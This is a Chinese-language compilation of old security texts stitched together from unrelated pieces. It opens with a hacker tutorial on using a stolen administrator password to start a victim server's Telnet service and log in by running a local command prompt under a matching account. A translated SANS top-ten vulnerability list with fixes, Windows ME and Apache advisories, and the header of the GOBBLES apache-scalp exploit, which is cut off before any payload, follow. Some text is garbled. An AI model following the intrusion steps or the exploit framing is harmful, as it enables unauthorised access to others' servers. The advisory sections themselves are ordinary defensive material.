“您将要发送密码信息到 Internet 区域中的远程计算机。这可能不安全。是否还要发送(y/n):”

呵呵，很明显，系统会用当前用户的身份去尝试连接远程的系统，由于身份不同，自然验证关是过不了的。

呵呵，所以、、、我们除了修改服务器端的验证方式之外，还可以修改自己连接身份嘛。

LOOK，看例子。

我取得了对方服务器（192.168.0.12）的管理员帐号和密码

首先，确认通过NET USE建立会话确认密码帐号没有问题

用户名为：admin，密码为：passwd

这时候，启动远程服务器的TELNET服务

这样TELNET服务就已经在对方服务器上启动了。

下一步，我们在自己的机器上添加一个和对方相同的帐号。

然后选中开始——程序——附件——命令提示符，并单击右键调出属性

将“以其他用户身份运行”选项选中

这时候再单击命令提示符，启动cmd.exe

系统会弹出一个提示框

这时候，将刚才创建的帐号名称/密码输入即可，这时候，系统就创建了一个以admin身份运行的

cmd.exe程序。

最后，在这个环境里，用telnet 192.168.0.12去连接对方服务器，就很顺利的出现了

呵呵

搞定了，总结一下步骤

1、获得对方管理员帐号的密码
2、启动对方TELNET服务
3、本机添加一个相同的帐号
4、本机修改cmd.exe程序的启动模式
5、在客户端进行连接，不需要输入对方机器用户名和密码就连上了。

呵呵，快多了吧

这种方法的最大好处就是，不需要修改远程服务器上的任何配置，只需要正常启动

对方的TELNET服务即可。


最著名的十大安全漏洞及防范

系统管理、网络和安全学会

p>击退入侵！！

通过Internet进行的计算机系统大多数成功入侵都可以归结到很少数量的安全漏洞上。
在Solar Sunrise Pentagon入侵事件中被入侵的大多数系统都是因为同一个漏洞受到攻击。不久前分布式拒绝服务攻击中被利用的大部分计算机也是因为一个漏洞。最近基于WindowsNT的WEB服务器的大量入侵也可归结到一个众所周知的漏洞。另外有一个漏洞也被认为可以被用来入侵超过30000台Linux系统。

少量的软件漏洞对应绝大多数成功的攻击是因为攻击者都是机会主义者－他们采用最简单最方便的方法。他们用最有效最广泛使用的工具来攻击最著名的漏洞。他们指望组织没有修补漏洞，他们常常在Internet上扫描有漏洞的系统，作无目的攻击。

系统管理员反映说，他们没有补这些漏洞的原因是他们也不知道超过500个的潜在问题中那些是最严重的，而他们又太忙，不可能把所有的问题都改正好。

信息安全共同体试图解决这个问题，标出Internet上最严重的安全问题，汇集系统管理员需要立即解决的漏洞。这个针对TOP TEN列表给出的专家建议展示了史无前例的企业、 政府和学校积极合作的范例。参与者来自最有安全意识的联邦代理、安全软件供应商、咨询机构、基于大学的顶级安全小组、CERT/CC和SANS研究会。完整的参与者名单在文末给出。

这里列出专家给出的10个Internet上最常被利用的安全漏洞列表，并给出了如何消除你
系统中这些问题的建议。
对读者提出的三点注意事项：

注1、这是一份随时更新(living)的文档，它包含初始定义，一步步更正漏洞的指导意见
。我们会随时更新这些建议，使它更正确更方便，欢迎你的加入。这是一封公开的建议
文档－你消除漏洞的经验可以帮助后来人。有建议可以"Top Ten Comments"为标题发信
到〈info@sans.org〉。想获得最新版本的指导可以"Top Ten Fixes"为标题发信到〈info@
sans.org〉。

注2、你将看到给出了CVE检索项的参考－the Comm Vulnerabilities and Exposures
索引号同漏洞相对应，CAN是CVE的候补索引项，它还没有得到完全的认可。对CVE项目更
多的了解可参照：http://cve.mitre.org

注3、在列表的最后，你会看到一个附加章节给出了常被探测和攻击的端口列表。通过在
防火墙或其它边界防护设备阻塞掉这些端口，你可以增加一个额外的防护层保护你的错误配置。

1. BIND weaknesses: nxt, qinv and in.named allow immediate root compromise.

BIND程序存在的问题，利用nxt,qinv,in.named可直接得到root权限。

BIND(Berkeley Internet Name Domain)软件包是域名服务（DNS）的一个应用最
广泛的实现软件－－我们所有人都通过它来定位Internet上的系统，只需知道域
名（如www.sans.org）而不用知道IP地址，由此可体会它的重要性－－这使它成
为最受欢迎的攻击目标。

很遗憾，根据1999年中的回顾，Internet上的DNS服务器有50%以上用的是有漏洞
的BIND版本。

比较典型的BIND攻击的例子是，入侵者抹掉系统记录，安装工具获得管理员级别
的访问。他们然后编译安装IRC工具和网络扫描工具，用它们扫描更多的B类网络，
找到其它的使用有漏洞版本的BIND的域名服务器。只需几分钟，他们就可以攻入
成千上百个远程系统，取得更多的入侵成果。

这种混乱的场面说明，在Internet上广泛应用的服务上，如DNS服务，软件中一个
很小的漏洞都是非常可怕的。

受影响的系统：
多数UNIX和Linux系统

到2000年5月22日为止，BIND8.2.2patch5以前的版本都有问题。

CVE检索项：
nxt CVE-1999-0833
qinv CVE-1999-0009
相关检索项: CVE-1999-0835, CVE-1999-0848, CVE-1999-0849,CVE-1999-0851
更正建议：
A、取消所有非授权作为DNS服务器的机器上的BIND后台进程(named)。一些专家
还建议删掉这些DNS软件。

B、把授权作为DNS服务器的软件升级到最新版本，加入最新补丁。（到2000年5
月22日为止，最新版本为8.2.2，patch5）。
采纳如下的其它指导建议：
For the NXT vulnerability: http://www.cert.org/advisories/CA-99-14-bind.html
For the QINV (Inverse Query) and NAMED vulnerabilities:
http://www.cert.org/advisories/CA-98.05.bind_problems.html
http://www.cert.org/summaries/CS-98.04.html

C、以非特权用户身份运行BIND，以便将来受到远程攻击时得到保护。（但是，必
须以root身份运行程序才能配置使用低于1024端口－如DNS要求的53，因此你必须
配置BIND在绑定到指定端口后改变用户身份。）

D、在chroot()过的目录中运行BIND，以便将来受到远程攻击时得到保护。

2. Vulnerable CGI programs and application extensions (e.g., ColdFusion) in
stalled on web servers.

在WEB服务器上安装的有漏洞的CGI程序和应用扩展（如ColdFusion）

大部分WEB服务器支持CGI(Common Gateway Interface)程序以提供WEB页面的交互功能，
如数据采集和检验。很多WEB服务器缺省的安装了CGI例子程序。很不幸，很多CGI程序并
没有考虑到它们有可能被滥用去执行恶意指令。入侵者选择CGI程序作为攻击目标主要因
为它们容易定位，并以同WEB服务器相同的权限运行。入侵者利用有漏洞的CGI程序破坏
主页，盗窃信用卡信息，安装后门以利于将来即使CGI程序被修补好仍然可以入侵。

当司法部的Janet Reno的图片被换成Adolph Hitler时，得出了CGI漏洞是最有可能的入
侵网络的方法的结论。Allaire的ColdFusion是一个WEB服务器应用软件，缺省安装时包
含有漏洞例子CGI程序。作为一个最一般的法则，例子程序应该从系统中删除。

受影响的系统：
所有的WEB服务器。

CVE检索项：

有漏洞例子程序的CGI程序
CAN-1999-0736
CVE-1999-0067
CVE-1999-0068
CVE-1999-0270
CVE-1999-0346
CVE-2000-0207

没有例子程序但有漏洞的CGI程序
CAN-1999-0467
CAN-1999-0509
CVE-1999-0021
CVE-1999-0039
CVE-1999-0058
CVE-1999-0147
CVE-1999-0148
CVE-1999-0149
CVE-1999-0174
CVE-1999-0177
CVE-1999-0178
CVE-1999-0237
CVE-1999-0262
CVE-1999-0279
CVE-1999-0771
CVE-1999-0951
CVE-2000-0012
CVE-2000-0039
CVE-2000-0208

ColdFusion例子程序漏洞
CAN-1999-0455
CAN-1999-0922
CAN-1999-0923

ColdFusion其它漏洞
CAN-1999-0760
CVE-2000-0057
更正建议：

A、不要以ROOT身份运行WEB服务器。

B、去掉BIN目录下的CGI脚本解释器。
http://www.cert.org/advisories/CA-96.11.interpreters_in_cgi_bin_dir.html

C、删掉不安全的CGI脚本。
http://www.cert.org/advisories/CA-97.07.nph-test-cgi_script.html
http://www.cert.org/advisories/CA-96.06.cgi_example_code.html
http://www.cert.org/advisories/CA-97.12.webdist.html

D、编写安全的CGI脚本
http://www-4.ibm.com/software/developer/library/secure-cgi/
http://www.cert.org/tech_tips/cgi_metacharacters.html
http://www.cert.org/advisories/CA-97.24.Count_cgi.html

E、不需要CGI的WEB服务器上不配置CGI支持。

F、在chroot()过的环境中运行WEB服务器，以便保护机器防止其它不断发现的漏洞。

3. Remote Procedure Call (RPC) weaknesses in rpc.ttdbserverd (ToolTalk), rp
c.cmsd (Calendar Manager), and rpc.statd that allow immediate root compromise

RPC(Remote Procedure Call)中rpc.ttdbserverd(ToolTalk)、rpc.cmsd(Calendar Man
ager)和rpc.statd可以直接获得root权限

远程过程调用（RPC）允许一台计算机上的程序去执行另一台计算机上的程序。它们广泛
的应用在各种网络服务中，如文件共享服务NFS。有很多漏洞是RPC本身的缺陷导致的，
它们正不停的涌现出来。有很明显的证据表明，1999年末2000年初大规模的分布式拒绝
服务攻击中，很多被作为攻击跳板的牺牲品就是因为存在RPC漏洞。在Solar Sunrise事
件期间，对美国陆军广为人知的成功攻击就是因为在数百台国防部的系统中找到了一个
RPC漏洞。

受影响的系统：
多数UNIX和Linux系统

CVE检索项：
rpc.ttdbserverd - CVE-1999-0687, CVE-1999-0003, CVE-1999-0693 (-0687 比-0003
新，但二者都能让远程攻击者得到root权限，好像-0003漏洞还有很多很多；－0693 只
能作为本地攻击，但也能得到root权限。)
rpc.cmsd ？ CVE-1999-0696
rpc.statd - CVE-1999-0018, CVE-1999-0019.

更正建议：

A、如果可能的话，关掉和/或删除那些可以从Internet上直接访问到的服务。

B、对于必须运行的，安装最新的补丁：
For Solaris Software Patches:
--http://sunsolve.sun.com
For IBM AIX Software
--http://techsupport.services.ibm.com/support/rs6000.support/downloads
--http://techsupport.services.ibm.com/rs6k/fixes.html
For SGI Software Patches:
--http://support.sgi.com/
For Compaq (Digital Unix) Patches:
--http://www.compaq.com/support

在供应商的补丁数据库中找tooltalk的补丁程序，并立刻安装。
对这三个主要RPC漏洞做出专门的建议的总结性文档可在如下地址找到：
http://www.cert.org/incident_notes/IN-99-04.html
For statdd: http://www.cert.org/advisories/CA-99-05-statd-automountd.html
For ToolTalk: http://www.cert.org/advisories/CA-98.11.tooltalk.html
For Calendar Manager: http://www.cert.org/advisories/CA-99-08-cmsd.html

4. RDS security hole in the Microsoft Internet Information Server (IIS).
微软IIS中存在的RDS安全漏洞

微软的IIS(Internet Information Server)是用在微软WindowsNT和Windows2000服务器
上的WEB服务软件。在IIS的远程数据服务（RDS）中的编程缺陷可被恶意用户利用，用来
远程执行管理员级别的命令。一些参与制定十大威胁列表的专家认为，IIS的其它漏洞，
如.HTR文件，至少同RDS漏洞一样严重。当使用IIS的组织安装或升级RDS漏洞补丁的时候
，应当采取谨慎的态度，同时安装和升级所有已知的IIS安全缺陷的补丁程序。

受影响的系统：
使用IIS的Microsoft Windows NT系统

CVE检索项：
CVE-1999-1011

更正建议：

A、使用用户自己的处理程序并删掉注册表中VBBusObj的索引项
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC/Parameters/ADCLau
nch/VbBusObj.VbBusObjCls

B、参考微软公布的信息去掉服务或更正RDS漏洞以及其它IIS的安全问题。
http://support.microsoft.com/support/kb/articles/q184/3/75.asp
http://www.microsoft.com/technet/security/bulletin/ms98-004.asp
http://www.microsoft.com/technet/security/bulletin/ms99-025.asp

5. Sendmail buffer overflow weaknesses, pipe attacks and MIMEbo, that allow
immediate root compromise.
Sendmail缓冲区溢出问题，pipe攻击和MIMI缓冲区溢出都可以直接得到root权限。

在大多数UNIX和Linux系统中用Sendmail程序发送、接收和转发电子邮件。Sendmail的广
泛应用使它成为攻击者选取的主要目标。这些年来发现了很多漏洞，最早的是1988年CE
RT/CC发布的一个建议文件。最常见的漏洞之一是，攻击者发送一封处理过的邮件但运行
Sendmail的机器，Sendmail把邮件作为指令读出执行，使目标机器把本机上的口令文件
发送到攻击者的机器上（或其它被侵入的机器），然后破解口令。

受影响的系统：
多数UNIX和Linux系统

CVE检索项：
CVE-1999-0047, CVE-1999-0130, CVE-1999-0131, CVE-1999-0203, CVE-1999-0204, C
VE-1999-0206.
CVE-1999-0130 is locally exploitable only.

更正建议：

A、升级Sendmail到最新版本并/或修补它。参见：
http://www.cert.org/advisories/CA-97.05.sendmail.html

B、在既不是邮件服务器也不作邮件转发的机器上不用以后台进程模式运行Sendmail（关
掉 -bd 选项）。

p>6. sadmind and mountd
Sadmind用于Solaris系统的远程管理访问，提供图形化的系统管理功能。Mountd控制管理UNIX主机上NFS的加载点。这些应用程序的缓冲区溢出攻击可以让攻击者得到root权限。

受影响的系统：
多数UNIX和Linux系统
Sadmind：仅仅Solaris系统

CVE检索项：
sadmind - CVE-1999-0977
mountd - CVE-1999-0002.

更正建议：

A、如果可能的话，关掉和/或删除那些可以从Internet上直接访问到的服务。

B、对于必须运行的，安装最新的补丁：
For Solaris Software Patches:
--http://sunsolve.sun.com
For IBM AIX Software
--http://techsupport.services.ibm.com/support/rs6000.support/downloads
--http://techsupport.services.ibm.com/rs6k/fixes.html
For SGI Software Patches:
--http://support.sgi.com/
For Compaq (Digital Unix) Patches:
--http://www.compaq.com/support

C、更多建议参见：
http://www.cert.org/advisories/CA-99-16-sadmind.html
http://www.cert.org/advisories/CA-98.12.mountd.html

7. Global file sharing and inappropriate information sharing via NetBIOS and
Windows NT ports 135-〉139 (445 in Windows2000), or UNIX NFS exports on port
2049, or Macintosh Web sharing or AppleShare/IP on ports 80, 427, and 548.

通过NetBIOS协议和Windows NT 135-〉139端口（Windows2000下是445）或UNIX NFS在20
49端口给出的或Macintosh Web共享或AppleShare/IP在80、427和548端口给出的等等全
局共享和不正确的信息共享。

这些服务允许在网络上共享文件。但如果配置不正确，它们会暴露重要的系统文件或给
出整个文件系统的完全控制权到网络上的任何一台机器上。很多计算机的主人或管理员
为了提高数据访问的方便性而利用这些服务使他们的文件系统可读写。如一个政府机关
计算机管理员在开发任务计划软件时使他们的文件全局可读以方便政府的其它部门访问
，没过两天，就有人发现了这些共享并偷走了整个任务计划软件。

当在Windows系统中实现文件共享时，产生的问题就不单单是信息窃贼，还有某些特定类
型感染极快的病毒。最近发现的一个叫做911的蠕 《纠肳indow95和Windows98的文
件共享来传播，使被感染的机器通过连在它上面的调制解调器拨打911电话。Macintosh
计算机的文件共享漏洞也存在同样的问题。

同样，NetBIOS机制在允许Windows文件共享的同时也常常会给出NT系统的敏感系统信息。
用户和组信息（用户名、最后登陆时间、口令策略、RAS信息），系统信息和一些注册
表中的键值都可以通过建立在NetBIOS连接服务上的空任务连接"null session"被访问到
。针对NT目标系统，这些信息常被用作口令猜测或暴力口令攻击的基础。

受影响的系统：
UNIX，Windows，和Macintosh系统

CVE检索项：
SMB shares with poor access control - CAN-1999-0520
NFS exports to the world - CAN-1999-0554
候选检索项在被正式接受作为完全的CVE前可能有比较大的改动。

更正建议：

A、共享加载的设备时，一定要保证只共享必须的子目录。

B、因为DNS名称可能伪造，为了更好的安全性，只对指定的IP地址提供共享。

C、对于Windows系统，要保证所有的共享都采用了很难破解的口令。

D、对于Windows NT系统，禁止利用空任务连接为匿名用户提供用户、组、系统配置和注
册表键值信息。

在路由器或NT主机上阻塞掉到NetBIOS任务服务（tcp 139）的连接。

对连入Internet的独立主机或不信任域环境要仔细考虑受限匿名用户的注册表键值的实
现。
NT4: http://support.microsoft.com/support/kb/articles/Q143/4/74.asp
Win2000: http://support.microsoft.com/support/kb/articles/Q246/2/61.ASP

E、对于Macintosh系统，去掉WEB共享扩展，除非特别需要。如果必须提供文件共享，一
定要保证使用强口令控制。当不需要时一定要去掉文件共享。

如果要永久性的去掉MacOS8或MacOS9上的WEB共享，要删掉两个文件并重新启动机器：
System Folder:Control Panels:Web Sharing
System Folder:Extensions:Web Sharing Extension

如果要永久性的去掉MacOS9上的AppleShare/IP，要删掉一个文件并重新启动机器：
System Folder:Extensions:Shareway IP Personal Bgnd

8. User IDs, especially root/administrator with no passwords or weak passwo
rds.
用户，尤其是超级用户或系统管理员(root/administrator)，没有口令或口令很弱。

一些系统带有"demo"或"guest"等无口令或广为人知的缺省口令的用户。服务工作人员一
般给你装完系统后，把超级用户口令设为空；一些数据库系统的管理员帐号一般在安装
时设为缺省口令。另外，繁忙的系统管理员常常选择非常容易被猜到的系统口令("love
","money","wizard"是最常见的)或者就使用空口令。缺省的口令让攻击者可以毫不费力
的访问系统。很多攻击者先尝试缺省口令然后猜口令最后才用其它更复杂的方法。攻击
者拿到一般用户权限后可以让他们进入防火墙或目标机器，一旦进入，很多攻击者就能
够利用各种各样的系统漏洞得到超级用户或管理员权限。

受影响的系统：
所有系统。

CVE检索项：
Unix guessable (weak) password - CAN-1999-0501
Unix default or blank password - CAN-1999-0502
NT guessable (weak) password - CAN-1999-0503
NT default or blank password - CAN-1999-0504
候选检索项在被正式接受作为完全的CVE前可能有比较大的改动。

更正建议：

A、建立可接受的口令策略，包括分派负责和周期性检验口令质量。要保证高级领导也不
例外。要求的策略也包括把计算机连入Internet前改变所有缺省口令，对不合作者给予
实质性的处罚。

B1、非常重要！有写权限以便测试口令。
B2、用口令破解程序测试口令：
For Windows NT: l0pthcrack http://www.l0pht.com
For UNIX: Crack http://www.users.dircon.co.uk/~crypto

C、在创建口令时执行检查功能。
For UNIX: Npasswd, http://www.utexas.edu/cc/unix/software/npasswd
For Windows NT: http://support.microsoft.com/support/kb/articles/Q161/9/90.asp

D、强制使口令周期性过期(at a frequency established in your security policy)。

E、保持口令历史记录，使用户不能循环使用旧口令。

其它资料可在如下地址找到：
http://www.cert.org/tech_tips/passwd_file_protection.html
http://www.cert.org/incident_notes/IN-98.03.html
http://www.cert.org/incident_notes/IN-98.01.irix.html

9. IMAP and POP buffer overflow vulnerabilities or incorrect configuration.
IMAP和POP缓冲区溢出漏洞或不正确的配置

IMAP和POP是最流行的远程邮件存取协议，允许用户从内部和外部网络访问他们的邮件帐
户。这些服务的“开放性访问”本质上决定了它们特别脆弱，因为开放使它们即使在防
火墙之内也要允许外部的电子邮件存取。攻击者利用IMAP或POP漏洞攻击常常能直接获得
ROOT级别的控制权。

受影响的系统：
多数UNIX和Linux系统

CVE检索项：
CVE-1999-0005, CVE-1999-0006, CVE-1999-0042, CVE-1999-0920, CVE-2000-0091

更正建议：

A、在不提供邮件服务的机器上取消这些服务。

B、使用最新的补丁和版本。
资料可在如下地址找到：
http://www.cert.org/advisories/CA-98.09.imapd.html
http://www.cert.org/advisories/CA-98.08.qpopper_vul.html
http://www.cert.org/advisories/CA-97.09.imap_pop.html

C、一些专家也建议用TCP Wrapper类软件控制对这些服务的访问，同时用SSH和SSL等加
密信道以保护口令。

10. Default SNMP community strings set to ‘public’ and ‘private.’
缺省的SNMP口令(community strings)被设为"public"和"private"。

简单网络管理协议(SMTP)被网络管理员广泛的使用，从路由器到打印机到计算机，所有连入网络中的设备都可以通过它来监控和管理。SNMP使用未加密的口令(community str
ings)作为认证的唯一机制。缺少加密已经够糟糕的了，同时绝大多数SNMP设备的缺省口
令为"public"，少数“聪明”一点的网络设备供应商把口令改为了"private"。攻击者可
以利用SNMP的这个漏洞远程重新配置或关掉设备。监听SNMP流量可以暴露你网络的大部
分细节，包括系统和连入的设备。入侵者用这些信息来找出攻击目标和规划攻击。

受影响的系统：
所有系统和网络设备。

CVE检索项：
default or blank SNMP community name (public) - CAN-1999-0517
guessable SNMP community name - CAN-1999-0516
hidden SNMP community strings - CAN-1999-0254, CAN-1999-0186
候选检索项在被正式接受作为完全的CVE前可能有比较大的改动。

更正建议：

A、如果你不是绝对需要SNMP，关掉它。

B、如果你使用SNMP，就要采用同本安全列表中的第8个问题中针对口令一样的安全策略。

C、用SNMPWALK验证和检查口令。

D、如果可能，把MIB设为只读。

其它信息：
http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/snmp.htm#xtocid210315

A High Priority Bonus Item for Windows Users and Administrators
Various Scripting Holes in Internet Explorer and Office2000

针对Windows系统用户和管理员的有益补充：IE浏览器和Office2000中的各种脚本漏洞

最近病毒攻击已经展示了宏和脚本代码可以很容易的通过电子邮件附件传播，人们被告诫不要打开可能危险的附件。不过，Windows系统用户即使不打开附件，也可能感染恶意
病毒。在缺省安装的情况下，Microsoft Outlook 和Outlook Express可以执行电子邮件
中的HTML和脚本代码。另外，很多被称为ActiveX组件的可以被含有HTML和脚本代码的电
子邮件不正确的执行。含有漏洞的控件包括Scriplet.typlib（同IE4.x和IE5.x一同交付
）和UA控件(Office2000)。其它漏洞表明利用活动脚本电子邮件可以在用户的计算机上
安装新的软件。

一个相对良性的病毒kak蠕虫就是通过这些机制传播的。恶意版本的kak病毒可以预见任何时候都可能出现。我们建议所有用户和管理员把Outlook和Outlook Express设为只在
某些“受限地址域”读取电子邮件，并进一步在这些受限域中关掉活动脚本和ActiveX功
能。微软对某些单独的漏洞已经给出了补丁并正准备在Outlook中加入安全设置，但好像
还没有修补Outlook Express的计划。

受影响的系统：
所有带有IE4.x和IE5.x或Office 2000的Windows系统。带有某些版本的IE的Windows 2000不受影响。

CVE检索项：
CVE-1999-0668
CAN-2000-0329

更正建议：

http://www.microsoft.com/security/bulletins/ms99-032.asp
http://www.microsoft.com/security/bulletins/MS99-048.asp
http://www.microsoft.com/technet/security/bulletin/MS00-034.asp

这里讨论的特定漏洞的补丁可从下面地址得到：
http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm
http://www.microsoft.com/msdownload/iebuild/ascontrol/en/ascontrol.htm
http://officeupdate.microsoft.com/info/ocx.htm

设置你的安全域到几个限定的站点并取消这个区域中的所有活动内容。

及时使用下列站点公布的Outlook补丁：
http://www.officeupdate.com/2000/articles/out2ksecarticle.htm

关键时刻，升级你的杀毒软件对这些问题也不能完全奏效。你必须同时更正微软软件中
的缺陷。

Perimeter Protection For An Added Layer of Defense In Depth
更深层次上的作为附加防卫层的边界保护

本节中，我们列出那些常被探测和攻击的端口。阻塞这些端口是边界安全的最小需求，
而不是复杂的防火墙规范表。更好的规则是阻塞掉所有未用端口。即使你认为这些端口
已经被阻塞掉了，你也要经常监控它们以便检测到入侵尝试。阻塞掉下面列表中的某些
端口可能会取消必须的服务。在执行下面的建议的时候请考虑它们的潜在影响。

1)阻塞“伪造”地址--那些从你公司外部地址来的报文却声称内部地址或专网地址，同
时阻塞源路由报文。

2)登录服务--telnet(23/tcp),SSH(22/tcp),FTP(21/tcp),NetBIOS(139/tcp),rlogin(5
12/tcp到514/tcp)等等。

3)RPC和NFS--portmap/rpcbind(111/tcp和111/udp),NFS(2049/tcp和2049/udp),lockd(
4045/tcp和4045/udp)

4)Windows NT下的NetBIOS--135(tcp和udp),137(udp),139(tcp).Windows 2000--这些端
口再加上445(tcp和udp)

5)X Windows -- 从6000/tcp 到 6255/tcp

6)名字服务-- 所有不是DNS服务器的机器上的DNS (53/udp), DNS zone transfers (53
/tcp) except from external secondaries, LDAP (389/tcp and 389/udp)

7)邮件-- 所有不作外部邮件转发的机器上的SMTP (25/tcp), POP (109/tcp and 110/t
cp), IMAP (143/tcp)

8)主页-- 除了外部WEB服务器上的HTTP (80/tcp)和SSL (443/tcp), 你也许同时需要阻
塞常用的其它高端的HTTP端口(8000/tcp, 8080/tcp, 8888/tcp, etc.)

9) "Small Services"-- 低于 20/tcp and 20/udp的端口, time (37/tcp and 37/udp)

10)其它-- TFTP (69/udp), finger (79/tcp), NNTP (119/tcp), NTP (123/tcp), LPD
(515/tcp), syslog (514/udp), SNMP (161/tcp and 161/udp, 162/tcp and 162/udp
), BGP (179/tcp), SOCKS (1080/tcp)

11) ICMP-- 阻塞收到的回应请求 (ping 命令和 Windows 系统下的traceroute命令),
阻塞发出回应应答消息，超时消息，和不可达消息。


98Windows ME 口令泄漏漏洞

名称： Microsoft Plus! 98 Windows ME Password Disclosure Vulnerability

类型： 设计错误

发布日期： 2001－4－3

影响系统： Microsoft Plus! 98
- Microsoft Windows 98se
- Microsoft Windows 98
Microsoft Windows ME

描述： Plus! 98是用于Win98和Win98第二版的一个附加包。Plus! 98和Windows ME提供了一个可选的特性，即用密码来保护压缩目录。由于该密码保存在系统的一个文件（c:\windows\dynazip.log）中，因此能够从物理上访问机器的攻击者就可以读取密码并访问系统中用该密码保护的压缩目录。

解决方法： 微软已经针对此漏洞开发了补丁程序，下载地址
Microsoft Plus! 98 :

Microsoft patch 252694usa8

http://download.microsoft.com/download/win98/update/14715/w98/en-us/252694usa8.exe

Microsoft Windows ME:

Microsoft patch 252694usam

http://download.microsoft.com/download/winme/update/14715/winme/en-us/252694usam.exe

临时方法： 建议从c:\windows\dynazip.log中删除dynazip.log文件


Apache HTTP server存在严重漏洞

注：很多商业的web服务器包括Oracle 9i、IBM Websphere都使用Apache HTTP server。Apache是目前使用得最多的web server软件之一，也是Open source的，被人们视为最好用的Free web服务器软件。
chunk encoding，是HTTP协议定义的用于接受web用户所提交数据的功能。当web用户提交数据后，web server需要为这些数据分配一个确定大小的缓冲区，但当提交的数据长度不确定的时候，客户端将通过与HTTP SERVER协商的机制创建一个数据块向web server提交数据。
Apache服务器缺省也提供了对块编码(chunked encoding)支持。Apache使用了一个有字符变量储存分块长度，同时分配了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑，在将块数据拷贝到缓冲区之前，Apache会对块长度进行检查，如果块长度大于缓冲区长度，Apache将最多只拷贝缓冲区长度的数据，否则，则根据块长度进行数据拷贝。然而在进行上述检查时，没有将块长度转换为非字符型进行比较，因此，如果攻击者将块长度设置成一个负值，就会绕过上述安全检查，Apache会将一个超长(至少>0x80000000字节)的块数据拷贝到缓冲区中，这会造成一个缓冲区溢出。
对于这个错误，Windows版本1.3.24和Unix版本1.x，有相同的攻击原理。现在已经证实在Win32系统下, 远程攻击者可能利用这一漏洞执行任意代码。
对于Apache 2.0到2.0.36(含2.0.36)，尽管存在同样的问题代码，但它会检测错误出现的条件并使子进程退出。
远程攻击者如果成功利用漏洞，可以修改web文件、发起拒绝服务和相关的，利用apache web server对系统的非法访问。

解决方案：
正式解决方案：下载补丁程序：
http://www.apache.org/dist/httpd/

或者：
切换到 apache安装目录的./src/main子目录，确认http_protocol.c在当前目录
创建一个补丁信息文件：apache_patch.diff，包含以下内容：

--- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
+++ http_protocol.c Fri Jun 14 16:13:47 2002
@@ -2171,7 +2171,7 @@

/* Otherwise, we are in the midst of reading a chunk of data */

- len_to_read = (r->remaining > bufsiz)
    ? bufsiz : r->remaining;
+ len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->
remaining;

len_read = ap_bread(r->connection->client,
    buffer, len_to_read);
if (len_read <= 0) {

执行补丁指令，升级http_protocol.c文件。
重新编译apache并重新安装。

攻击方法：

更新攻击脚本：
/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
* - Can not be exploited on 32-bit *nix variants
* - Is only exploitable on win32 platforms
* - Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
* Sun Solaris 6-8 (sparc/x86)
* FreeBSD 4.3-4.5 (x86)
* OpenBSD 2.6-3.1 (x86)
* Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
* OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
* weekend"
* --- "Five years without a remote hole in the default install". default
* package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?
* --- I hope Theo doesn't kill himself
* --- heh, this is a middle finger to all those open source, anti-"m$"
* idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
* scanner to have a module for this vulnerability, but it doesnt even
* work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
* them that moderation == no pie.
* --- now try it against synnergy :>
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx this thing is a major exploit. do you really wanna publish it?
* oooo i'm not afraid of whitehats
* xxxx the blackhats will kill you for posting that exploit
* oooo blackhats are a myth
* oooo so i'm not worried
* oooo i've never seen one
* oooo i guess it's sort of like having god in your life
* oooo i don't believe there's a god
* oooo but if i sat down and met him
* oooo i wouldn't walk away thinking
* oooo "that was one hell of a special effect"
* oooo so i suppose there very well could be a blackhat somewhere
* oooo but i doubt it... i've seen whitehat-blackhats with their ethics
* and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>

